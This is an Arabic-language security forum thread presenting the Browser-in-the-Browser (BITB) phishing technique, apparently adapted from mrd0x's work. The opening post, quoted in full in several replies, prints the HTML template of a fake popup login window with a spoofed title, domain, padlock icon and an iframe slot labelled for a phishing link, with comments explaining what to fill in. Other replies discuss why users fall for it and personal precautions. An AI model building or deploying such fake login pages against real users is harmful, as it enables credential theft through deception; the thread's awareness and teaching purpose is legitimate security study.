مضى على الشبكة و يوم من العطاء.

  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

[ شرح ] تقنية هجوم المتصفح في المتصفح الأصلي (BITB)

KLD

KLD

./عضو نشيط
>:: v1p ::<

السمعة:

بسم الله الرحمن الرحيم


ما هي تقنية هجوم المتصفح في المتصفح الأصلي ؟

أخليكم مع الصوره تشرح نفسها:

KLD.gif


حسنًا للتوضيح :
الفكرة عندما تقوم بفتح موقع مثلاً وتحاول تسجيل الدخول باستخدام حساب gmail أو مايكروسوفت تقوم بضغط على تسجيل دخول، لكن هنا النافذه منبثقة عبارة عن "صفحة مزورة"

نعم صديقي 🧐
إنها صفحة مزورة وتوجد ثيمات تشابهه نظامين (ويندوز - ماك أو أس ) ويمكنك تعديل على النافذة المنبثة بشكل كامل حتى أنه يمكنك تغير الرابط .

رابط التحميل: تحميل

عند فتح الضغط عن الملف سوف تجد عدة ملفات كل ملف عبارة عن ثيم للنافذه المنبثة

سوف اختار ملف Windows-DarkMode-Delay
عندما تقوم بفتح السورس كود ستجد التالي (index.html)

استكمال الشرح داخل السورس:
​
HTML: 
[CODE=html]<!DOCTYPE html>

<html>

<head>

    <meta charset="utf-8">

    <meta name="viewport" content="width=device-width, initial-scale=1">

    <link rel="stylesheet" href="style.css">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>

</head>

<body>

<button id="clickme" style="margin-left:auto; margin-right: auto; margin-top: 2.5%; text-align: center; display: block;">Click me</button>

<div id="window" style="margin:auto; position: relative; bottom: 2.5%; display: none;">

<!-- Title bar start -->

<div id="title-bar-width">

    <div id="title-bar">

        <div style="margin-top:5px;">

            <img src="./logo.svg" width="20px" height="15px" id="logo">  <!-- ايقونه الموقع  -->

            <span id="logo-description">XX-TITLE-XX</span> <!-- اسم الصفحة المراد تزويرها -->

        </div>


        <div>

            <span id="minimize">&#8212;</span>

            <span id="square">□</span>

            <span id="exit">✕</span>

        </div>

    </div>

    <div id="url-bar">

        <img src="./ssl.svg" width="20px" height="20px" id="ssl-padlock">

        <span id="domain-name">XX-DOMAIN-NAME-XX</span><!-- الدومين فقط مثال (www.google.com)  -->

        <span id="domain-path">XX-DOMAIN-PATH-XX</span> <!-- تكلمة العنوان مثال (login) -->

    </div>

</div>

<!-- Content start -->

<iframe id="content" src="XX-PHISHING-LINK-XX" frameBorder="0"></iframe> <!-- رابط صفحة الاصلية المراد استنساخها  -->

</div>

</body>

<script src="script.js"></script>

</html>

نعتذر على الشرح المختصر
دمتم في أمان الله ​

تم تطوير الهجوم من قبل mrd0x
 
التعديل الأخير بواسطة المشرف:
KLD قال:
بسم الله الرحمن الرحيم


ما هي تقنية هجوم المتصفح في المتصفح الاصلي ؟
اخليكم مع الصوره تشرح نفسها
مشاهدة المرفق 13243
حسنا للتوضيح :
الفكره عندما تقوم بفتح موقع مثلاا وتحاول التسجيل دخول ب استخدام حساب gmail او مايكروسوفت تقوم بضغط على التسجيل دخول لكن هنا النافذه منبثقة عباره عن "صفحة مزورة"
نعم صديقي 🧐
انها صفحة مزوره وتوجد ثيمات تشابهه نظامين (ويندوز - ماك او اس )
ويمكنك تعديل على النافذة المنبثة بشكل كامل حتى ان يمكنك تغير الرابط .
رابط التحميل
تحميل
عند فتح الضغط عن الملف سوف تجد عدة ملفات كل ملف عباره عن ثيم للنافذه المنبثة
سوف اختار ملف Windows-DarkMode-Delay
عندما تقوم بفتح السورس كود ستجد التالي (index.html) استكمال الشرح داخل السورس​
HTML: 
[CODE=html]<!DOCTYPE html>

<html>

<head>

    <meta charset="utf-8">

    <meta name="viewport" content="width=device-width, initial-scale=1">

    <link rel="stylesheet" href="style.css">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>

</head>

<body>

<button id="clickme" style="margin-left:auto; margin-right: auto; margin-top: 2.5%; text-align: center; display: block;">Click me</button>

<div id="window" style="margin:auto; position: relative; bottom: 2.5%; display: none;">

<!-- Title bar start -->

<div id="title-bar-width">

    <div id="title-bar">

        <div style="margin-top:5px;">

            <img src="./logo.svg" width="20px" height="15px" id="logo">  <!-- ايقونه الموقع  -->

            <span id="logo-description">XX-TITLE-XX</span> <!-- اسم الصفحة المراد تزويرها -->

        </div>


        <div>

            <span id="minimize">&#8212;</span>

            <span id="square">□</span>

            <span id="exit">✕</span>

        </div>

    </div>

    <div id="url-bar">

        <img src="./ssl.svg" width="20px" height="20px" id="ssl-padlock">

        <span id="domain-name">XX-DOMAIN-NAME-XX</span><!-- الدومين فقط مثال (www.google.com)  -->

        <span id="domain-path">XX-DOMAIN-PATH-XX</span> <!-- تكلمة العنوان مثال (login) -->

    </div>

</div>

<!-- Content start -->

<iframe id="content" src="XX-PHISHING-LINK-XX" frameBorder="0"></iframe> <!-- رابط صفحة الاصلية المراد استنساخها  -->

</div>

</body>

<script src="script.js"></script>

</html>
أسف على الشرح المختصر دمتم في امان الله :)​
[/CODE]
تم تطوير الهجوم من قبل mrd0x
أنقر للتوسيع...
يعطيك العافية وبننتظر جديدك, تحياتي لكم جميعا 🌹 ❤️
 
  • Like
التفاعلات: KLD
KLD قال:
بسم الله الرحمن الرحيم


ما هي تقنية هجوم المتصفح في المتصفح الاصلي ؟
اخليكم مع الصوره تشرح نفسها
مشاهدة المرفق 13243
حسنا للتوضيح :
الفكره عندما تقوم بفتح موقع مثلاا وتحاول التسجيل دخول ب استخدام حساب gmail او مايكروسوفت تقوم بضغط على التسجيل دخول لكن هنا النافذه منبثقة عباره عن "صفحة مزورة"
نعم صديقي 🧐
انها صفحة مزوره وتوجد ثيمات تشابهه نظامين (ويندوز - ماك او اس )
ويمكنك تعديل على النافذة المنبثة بشكل كامل حتى ان يمكنك تغير الرابط .
رابط التحميل
تحميل
عند فتح الضغط عن الملف سوف تجد عدة ملفات كل ملف عباره عن ثيم للنافذه المنبثة
سوف اختار ملف Windows-DarkMode-Delay
عندما تقوم بفتح السورس كود ستجد التالي (index.html) استكمال الشرح داخل السورس​
HTML: 
[CODE=html]<!DOCTYPE html>

<html>

<head>

    <meta charset="utf-8">

    <meta name="viewport" content="width=device-width, initial-scale=1">

    <link rel="stylesheet" href="style.css">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>

</head>

<body>

<button id="clickme" style="margin-left:auto; margin-right: auto; margin-top: 2.5%; text-align: center; display: block;">Click me</button>

<div id="window" style="margin:auto; position: relative; bottom: 2.5%; display: none;">

<!-- Title bar start -->

<div id="title-bar-width">

    <div id="title-bar">

        <div style="margin-top:5px;">

            <img src="./logo.svg" width="20px" height="15px" id="logo">  <!-- ايقونه الموقع  -->

            <span id="logo-description">XX-TITLE-XX</span> <!-- اسم الصفحة المراد تزويرها -->

        </div>


        <div>

            <span id="minimize">&#8212;</span>

            <span id="square">□</span>

            <span id="exit">✕</span>

        </div>

    </div>

    <div id="url-bar">

        <img src="./ssl.svg" width="20px" height="20px" id="ssl-padlock">

        <span id="domain-name">XX-DOMAIN-NAME-XX</span><!-- الدومين فقط مثال (www.google.com)  -->

        <span id="domain-path">XX-DOMAIN-PATH-XX</span> <!-- تكلمة العنوان مثال (login) -->

    </div>

</div>

<!-- Content start -->

<iframe id="content" src="XX-PHISHING-LINK-XX" frameBorder="0"></iframe> <!-- رابط صفحة الاصلية المراد استنساخها  -->

</div>

</body>

<script src="script.js"></script>

</html>
أسف على الشرح المختصر دمتم في امان الله :)​
[/CODE]
تم تطوير الهجوم من قبل mrd0x
أنقر للتوسيع...
بارك الله فيك حبيبنا وجزاك الله كل خير
المشكلة بهاي الصفحات أن المستخدم ما يعرف الدومينات الاصلية للمواقع المستخدمة بتسجيل الدخول.
ننتظر جديدك دائماً
 
كثير من الناس تظن إن هجمات الPhishing أسهل شي ممكن تتصدى له وإنه ليس سوا مجرد صفحة مزورة ولا يععلومةن شيئا عن التقنيات والاستراتيجيات الشيطانية المستخدمة في هذا النوع من الهجمات
وهذا إحدى التقنيات
بارك الله فيك على هذه المشاركة
 
STORM قال:
بارك الله فيك حبيبنا وجزاك الله كل خير
المشكلة بهاي الصفحات أن المستخدم ما يعرف الدومينات الاصلية للمواقع المستخدمة بتسجيل الدخول.
ننتظر جديدك دائماً
أنقر للتوسيع...
نعم بالطبع و أصبحت هناك طرق مثل هذي الطريقة ,حيث يمكنك كتابة الدومين الاصلي اعلى الصفحة والسورس كود مفتوح يمكنك تطويره بسهولة
 
أبو البراء قال:
كثير من الناس تظن إن هجمات الPhishing أسهل شي ممكن تتصدى له وإنه ليس سوا مجرد صفحة مزورة ولا يععلومةن شيئا عن التقنيات والاستراتيجيات الشيطانية المستخدمة في هذا النوع من الهجمات
وهذا إحدى التقنيات
بارك الله فيك على هذه المشاركة
أنقر للتوسيع...
نعم بالطبع وفي الفترة الاخيره ظهرت العديد من الطرق وسوف نتطرق لها في ما بعد ان شاء الله .
 
STORM قال:
صدقاً وانا بتكلم على مستواي الشخصي اخر حل لقيته لهاي الامور ان لي شخصيتين على الانترنت
وحدة رسمية بإسم رسمي بإيميل رسمي برقم رسمي وهاي نادراً جداً ما استخدمها
والثانية كل حاجة فيها وهمي ومش مهم وما عليها معلومات مهمة بحيث لو انسرق اي حاجة منها بساعة غفلة او خطأ يكون الضرر اقل ما يمكن.
أنقر للتوسيع...
افضل شي تسويه الصراحة
 
KLD قال:
بسم الله الرحمن الرحيم


ما هي تقنية هجوم المتصفح في المتصفح الأصلي ؟

أخليكم مع الصوره تشرح نفسها:

مشاهدة المرفق 13243

حسنا للتوضيح :
الفكرة عندما تقوم بفتح موقع مثلاً وتحاول تسجيل الدخول باستخدام حساب gmail أو مايكروسوفت تقوم بضغط على تسجيل دخول، لكن هنا النافذه منبثقة عبارة عن "صفحة مزورة"

نعم صديقي 🧐
إنها صفحة مزورة وتوجد ثيمات تشابهه نظامين (ويندوز - ماك أو أس ) ويمكنك تعديل على النافذة المنبثة بشكل كامل حتى أنه يمكنك تغير الرابط .

رابط التحميل: تحميل

عند فتح الضغط عن الملف سوف تجد عدة ملفات كل ملف عبارة عن ثيم للنافذه المنبثة

سوف اختار ملف Windows-DarkMode-Delay
عندما تقوم بفتح السورس كود ستجد التالي (index.html)

استكمال الشرح داخل السورس:
​
HTML: 
[CODE=html]<!DOCTYPE html>

<html>

<head>

    <meta charset="utf-8">

    <meta name="viewport" content="width=device-width, initial-scale=1">

    <link rel="stylesheet" href="style.css">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>

</head>

<body>

<button id="clickme" style="margin-left:auto; margin-right: auto; margin-top: 2.5%; text-align: center; display: block;">Click me</button>

<div id="window" style="margin:auto; position: relative; bottom: 2.5%; display: none;">

<!-- Title bar start -->

<div id="title-bar-width">

    <div id="title-bar">

        <div style="margin-top:5px;">

            <img src="./logo.svg" width="20px" height="15px" id="logo">  <!-- ايقونه الموقع  -->

            <span id="logo-description">XX-TITLE-XX</span> <!-- اسم الصفحة المراد تزويرها -->

        </div>


        <div>

            <span id="minimize">&#8212;</span>

            <span id="square">□</span>

            <span id="exit">✕</span>

        </div>

    </div>

    <div id="url-bar">

        <img src="./ssl.svg" width="20px" height="20px" id="ssl-padlock">

        <span id="domain-name">XX-DOMAIN-NAME-XX</span><!-- الدومين فقط مثال (www.google.com)  -->

        <span id="domain-path">XX-DOMAIN-PATH-XX</span> <!-- تكلمة العنوان مثال (login) -->

    </div>

</div>

<!-- Content start -->

<iframe id="content" src="XX-PHISHING-LINK-XX" frameBorder="0"></iframe> <!-- رابط صفحة الاصلية المراد استنساخها  -->

</div>

</body>

<script src="script.js"></script>

</html>

نعتذر على الشرح المختصر
دمتم في أمان الله ​

تم تطوير الهجوم من قبل mrd0x
أنقر للتوسيع...
ممكن تشرح لي فيديو لو سمحت
 
يجب تسجيل الدخول أو التسجيل كي تتمكن من الرد هنا.

آخر المشاركات

فانوس

رمضان

الأعضاء المتصلون

المجموع: 71 (الأعضاء: 2, الزوار: 69)

إحصائيات المنتدى

المواضيع
3,140
المشاركات
15,461
الأعضاء
4,784
آخر عضو مسجل
batatali81

إعلانات

عودة
أعلى